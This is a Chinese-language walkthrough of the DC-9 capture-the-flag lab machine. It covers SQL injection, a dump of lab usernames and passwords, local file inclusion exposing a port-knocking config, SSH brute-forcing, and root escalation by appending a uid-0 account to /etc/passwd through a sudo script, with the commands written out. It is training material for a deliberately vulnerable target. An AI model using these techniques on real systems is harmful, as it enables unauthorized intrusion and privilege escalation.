欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

DC9靶机渗透

程序员文章站 2022-03-09 23:13:15
...

前言

DC系列最后一个靶机,还是延续着之前的传统,中规中矩,却不失新意。正如作者所言

all things must come to an end

所有事情最终都会来到终点,但人生还要继续,带着美好回忆迎接下一次挑战。????

知识点

  1. knockd服务
  2. /etc/passwd文件提权

详细过程

信息搜集

  1. 端口扫描,22端口阻塞

    DC9靶机渗透

  2. 目录扫描

    DC9靶机渗透

  3. 浏览网站很容易发现search页面存在sql注入

    DC9靶机渗透

  4. sqlmap注入成功,具体不再演示,拿到数据如下。

    Table: UserDetails
    [17 entries]
    +-----------+------------+---------------+
    | firstname | lastname   | password      |
    +-----------+------------+---------------+
    | Mary      | Moe        | 3kfs86sfd     |
    | Julie     | Dooley     | 468sfdfsd2    |
    | Fred      | Flintstone | 4sfd87sfd1    |
    | Barney    | Rubble     | RocksOff      |
    | Tom       | Cat        | TC&TheBoyz    |
    | Jerry     | Mouse      | B8m#48sd      |
    | Wilma     | Flintstone | Pebbles       |
    | Betty     | Rubble     | BamBam01      |
    | Chandler  | Bing       | UrAG0D!       |
    | Joey      | Tribbiani  | Passw0rd      |
    | Rachel    | Green      | yN72#dsd      |
    | Ross      | Geller     | ILoveRachel   |
    | Monica    | Geller     | 3248dsds7s    |
    | Phoebe    | Buffay     | smellycats    |
    | Scooter   | McScoots   | YR3BVxxxw87   |
    | Donald    | Trump      | Ilovepeepee   |
    | Scott     | Morrison   | Hawaii-Five-0 |
    +-----------+------------+---------------+
    

    还有一个管理员

    DC9靶机渗透

    admin:transorbital1(使用sqlmap默认字典**)

  5. 登陆管理员后只有添加记录的功能,本来想要使用闭合dom树的方式来解析php,但输入有长度限制,放弃。登陆管理员后看到页脚爆file not found错误。猜测存在LFI。

    DC9靶机渗透

  6. 验证LFI,很幸运file参数直接猜到。

    DC9靶机渗透

  7. 但LFI不能getshell。接下来的思路应该是fuzz一些系统文件。这里如果有一个强大的字典,应该能够发现/etc/knockd.conf

    DC9靶机渗透

    这个knockd.conf是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

    简单来说就是用来隐藏ssh登陆端口。(也就是我们之前扫描端口时发现22端口阻塞)只有我们按照设定的顺序敲击端口,防火墙才会打开登陆端口。再按照同样的方式可以使防火墙关闭ssh登陆端口,如果别人不知道我们设定的端口敲击顺序,是无法登陆ssh的。我们可以下载knock来开启远程端口,也可以直接用nc敲击端口。

  8. 按顺序敲击7469,8475,9842,22端口开启

    DC9靶机渗透

getshell

  1. 之后可以用hydra,或者msf结合/etc/passwd文件之前从数据库内拿到的密码撞库ssh。这里我拿到janitor用户ssh密码。登陆后发现密码文件

    DC9靶机渗透

  2. 使用msf**。最终一共拿到四个账户。

    DC9靶机渗透

    DC9靶机渗透

    DC9靶机渗透

提权

  1. 下载提权辅助脚本。在fredf用户运行后发现可疑文件。运行后提示应该使用python写的。

    DC9靶机渗透

  2. 通过find找到源码

    #!/usr/bin/python
    
    import sys
    
    if len (sys.argv) != 3 :
        print ("Usage: python test.py read append")
        sys.exit (1)
    
    else :
        f = open(sys.argv[1], "r")
        output = (f.read())
    
        f = open(sys.argv[2], "a")
        f.write(output)
        f.close()
    
    
  3. 很明显了,我们通过这个程序可以以root权限合并文件内容。那么如何提权?将用户写入/etc/passwd啊,首先生成密码

    $ perl -le 'print crypt("123456","salt")'
    sahL5d5V.UWtI
    $ echo "srat1999:sahL5d5V.UWtI:0:0:User_like_root:/root:/bin/bash" >> /tmp/passwd
    # 用户名:密码hash:uid:gid:说明:家目录:登陆后使用的shell
    $ sudo ./test /tmp/passwd /etc/passwd
    
  4. 最后

    DC9靶机渗透

    DC9靶机渗透